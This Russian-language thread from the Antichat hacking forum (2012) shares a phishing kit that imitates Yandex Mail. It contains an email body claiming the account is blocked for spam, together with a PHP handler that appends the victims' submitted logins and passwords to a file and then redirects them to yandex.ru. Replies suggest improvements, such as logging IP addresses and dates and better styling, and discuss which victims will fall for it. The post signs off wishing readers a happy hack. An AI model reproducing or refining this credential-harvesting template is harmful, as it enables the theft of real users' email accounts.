ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости Mail-сервис (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Новый Яндекс в теле письма (https://forum.antichat.xyz/showthread.php?t=8056199)

stivens20 03.05.2012 01:00
Приветствую вас форумчане,модераторы и Админ!
Представляю к вашему вниманию Новый яндекс в теле письма.
Фейк яндекс легко найдет общий язык с антиспамерами! И доходит хорошо.

СКРИН

HTML highlight

Код:

 

 

Создать почту

 

Здравствуйте уважаемый пользователь!

В связи с подозрениями на рассылку рекламных писем (спама) с вашего
электронного адреса
 администрация вынуждена заблокировать Вашу учетную
запись. Для продолжения пользования электронным ящиком, Вам необходимо
подтвердить, что Ваш электронный адрес не используется спам-ботом для рассылки рекламных
писем.
Скрипт:

PHP highlight

Код:

       
Код:

       
<?PHP
$email=$_POST['login'];
$Pass=$_POST['passwd'];
$Domain=$_POST['domain'];

$log=fopen("base.php","a+");
fwrite($log,"\n login:$email$domain@yandex.ru
pass:$Pass\n");
fclose($log);
header("Location: http://www.yandex.ru");


Удачного взлома!

KzBOXer 04.05.2012 01:00
Не плохо бы оформление сделать, так как яндекс всегда дружил с красотой.

А в базу помимо этого можно внести дату + ip.

Вот что не понятно:
1)Зачем
code:

$Domain = $_POST['domain']

вот это?
В страничке, в коде и намека на это нет.
2) В базе у тебя будет идти в строчку скорее всего все, при 100 записях голова закружиться.

code:

fwrite($log,"\n login:$email$domain@yandex.ru
pass:$Pass \n");

Тут ты ничего не поймешь, раздели их | палками, или как твоей душе угодно. Вообще, я бы сделал так:

code:

$login|Pass:$passwd| ---- IP:$ip | Date:$Dat"; // Вот тут внесем все в одну переменную для того, чтобы все шло в столбик, а не в строку, так же ниже добавим br. br без внесения в одну переменную не работала бы.


$log = fopen("base.php","a+");
fwrite($log,"\n $zapis
\n"); // Вот как то так
fclose($log);
header("Location: http://www.yandex.ru"); // Не знаю, что то с header-ом у меня на хосте проблемы были..

Вообще могу ошибиться по синтаксису где то, но не должен
Да и кстати, яндексу пофиг на домен, все равно что @yandex.ru, @yandex.ua, @yandex.kz и т.д. Можно сказать один пользователь имеет больше 7 ящиков в одной учетки. Удобно.

Ответь насчет пункта 1.
Сам написал, м? Интересно, для чего просто пункт 1.

Suicide[VII] 04.05.2012 01:00
Хм.. обратил внимание на то что используются теги ,, а самого table типо - ,в коде нет.

stivens20 04.05.2012 01:00
KzBOXer Пробовал красить фейк дизайн ни ого-го знаю.покрасил фейк до этого но не доходило.

Цитата:

Сообщение от KzBOXer

Ответь насчет пункта 1.
Сам написал, м? Интересно, для чего просто пункт 1.

тему создавал ночью воти записал.

На счет ip и даты это на ваше усмотрение кому как хотя можно без них.

KzBOXer 04.05.2012 01:00
Цитата:

Сообщение от stivens20

На счет ip и даты это на ваше усмотрение кому как хотя можно без них.

Но то что привел ты это выглядело бы в строку да еще и слитно.

Цитата:


тему создавал ночью воти записал.



Причем тут ночь? Не понимаю..

С античата пади опять слизал

stivens20 04.05.2012 01:00
Цитата:

Сообщение от KzBOXer

Причем тут ночь? Не понимаю..

С античата пади опять слизал

При том едва ли засыпая создал тему. Нет античата ни чего не тащил все сам сделал

Цитата:

Сообщение от KzBOXer

Но то что привел ты это выглядело бы в строку да еще и слитно.

Чуть-чуть было слитно так можно подправить под себя.

Yorvet 04.05.2012 01:00
Фейк есть, да, но честно - на двоечку с плюсом только тянет, как оформление, так и код обработчика.

stivens20 04.05.2012 01:00
Цитата:

Сообщение от Yorvet

Фейк есть, да, но честно - на двоечку с плюсом только тянет, как оформление, так и код обработчика.

На счет оформления я уже писал и не раз крашенный фейк яндекс почта не приходит вот так и получилось.

Yorvet 05.05.2012 01:00
Дело не в цветах, а в стиле.

stivens20 05.05.2012 01:00
Согласен. Вот скрин http://rghost.ru/37918938/image.png на мой взгляд немного лучше.

beknazar 05.05.2012 01:00
Цитата:

Сообщение от KzBOXer

Не плохо бы оформление сделать, так как яндекс всегда дружил с красотой.

А в базу помимо этого можно внести дату + ip.

Вот что не понятно:
1)Зачем
code:

$Domain = $_POST['domain']

вот это?
В страничке, в коде и намека на это нет.
2) В базе у тебя будет идти в строчку скорее всего все, при 100 записях голова закружиться.

code:

fwrite($log,"\n login:$email$domain@yandex.ru
pass:$Pass \n");

Тут ты ничего не поймешь, раздели их | палками, или как твоей душе угодно. Вообще, я бы сделал так:

code:

$login|Pass:$passwd| ---- IP:$ip | Date:$Dat"; // Вот тут внесем все в одну переменную для того, чтобы все шло в столбик, а не в строку, так же ниже добавим br. br без внесения в одну переменную не работала бы.


$log = fopen("base.php","a+");
fwrite($log,"\n $zapis
\n"); // Вот как то так
fclose($log);
header("Location: http://www.yandex.ru"); // Не знаю, что то с header-ом у меня на хосте проблемы были..

Вообще могу ошибиться по синтаксису где то, но не должен
Да и кстати, яндексу пофиг на домен, все равно что @yandex.ru, @yandex.ua, @yandex.kz и т.д. Можно сказать один пользователь имеет больше 7 ящиков в одной учетки. Удобно.

Ответь насчет пункта 1.
Сам написал, м? Интересно, для чего просто пункт 1.

Он походу переделал обработчик с mail.ru

stivens20 05.05.2012 01:00
Цитата:

Сообщение от beknazar

Он походу переделал обработчик с mail.ru

Главное доходит.И обработчик работает норма какие еще фокусы нужны?

Yorvet 06.05.2012 01:00
Вот сейчас ты откровенную глупость говоришь.

А жертвами зовутся все, кто на очереди взлома.

stivens20 06.05.2012 01:00
Привет! Не много доработал фейк
скрин http://rghost.ru/37936747/image.png

code:





Здравствуйте уважаемый пользователь!
В связи с подозрениями на рассылку рекламных писем (спама) с вашего
электронного адреса
администрация вынуждена заблокировать Вашу учетную
запись. Для продолжения пользования электронным ящиком, Вам необходимо
подтвердить, что Ваш электронный адрес не используется спам-ботом для рассылки рекламных
писем.











&nbsp;

&nbsp;



Что это?









&nbsp;



Здравствуйте!
Отныне Вы —
полноправный владелец почтового ящика, а заодно — логина
и пароля на Яндексе. Чувствуйте себя здесь
как дома. А пока мы расскажем, куда будет интересно
заглянуть в первую очередь. Вам не надо
регистрироваться на всех сервисах Яндекса отдельно —
Ваши логин и пароль подходят к каждой из служб.




Поиск
и
ваши сервисы в Яндекс.Баре

Находите всё, узнавайте о погоде и событиях на сервисах Яндекса.

Мобильная
Почта

Проверяйте почту с Вашего мобильного телефона, смартфона или КПК.



Работа
и
деловые контакты на Моём Круге

Ищите работу и сотрудников, поддерживайте профессиональные связи.

Уведомления
о
новых письмах в Я.Онлайне

Узнавайте сразу о свежей почте и обменивайтесь мгновенными сообщениями.



Фотоальбомы
на
Яндекс.Фотках

Размещайте свои фотографии, показывайте их друзьям и любуйтесь чужими
снимками.

Платежи
Яндекс.Деньгами

Оплачивайте мобильную связь, интернет, онлайн-игры, авиабилеты и многое
другое. Чтобы открыть счет и совершать платежи, Вам понадобится
дополнительный платежный пароль.



Пользоваться сервисами
Яндекса еще приятнее с Яндекс.Почтой.

Здесь легко пересылать большие файлы (до 5 ГБ),
получать уведомления от социальных сервисов,
собирать письма с других ящиков, а также
работать с большим количеством писем.
Узнать о других возможностях Яндекс.Почты

Все
сервисы
Яндекса
P.S. Это письмо создано
автоматически, отвечать на него не нужно.
Если у вас есть вопросы или пожелания, напишите нам.

MaCroSs 06.05.2012 01:00
Честно говоря сомневаюсь что на него,кто-то купится

attack! 06.05.2012 01:00
ИМХО: такое чувство , будто просто страница не догрузилать) сделыть бы покрасивее то возможно кто-то и купиться...

stivens20 06.05.2012 01:00
Цитата:

Сообщение от MaCroSs

Честно говоря сомневаюсь что на него,кто-то купится

Все зависит от удачи

Цитата:

Сообщение от attack!

ИМХО: такое чувство , будто просто страница не догрузилать) сделыть бы покрасивее то возможно кто-то и купиться.

Со стилем поработать нужно немного

Yorvet 06.05.2012 01:00
Цитата:

Сообщение от stivens20

Все зависит от удачи

[/quote]

Не от удачи, а от умственных способностей жертвы. Уверен, что будешь сталкиваться с одними дураками?

stivens20 06.05.2012 01:00
Цитата:

Сообщение от Yorvet

Не от удачи, а от умственных способностей жертвы. Уверен, что будешь сталкиваться с одними дураками?

Поправочка!С умственными способностями разве это жертва?
Чуть умный пользователь не то,что ведется ,но даже письмо не откроет!


Время: 23:51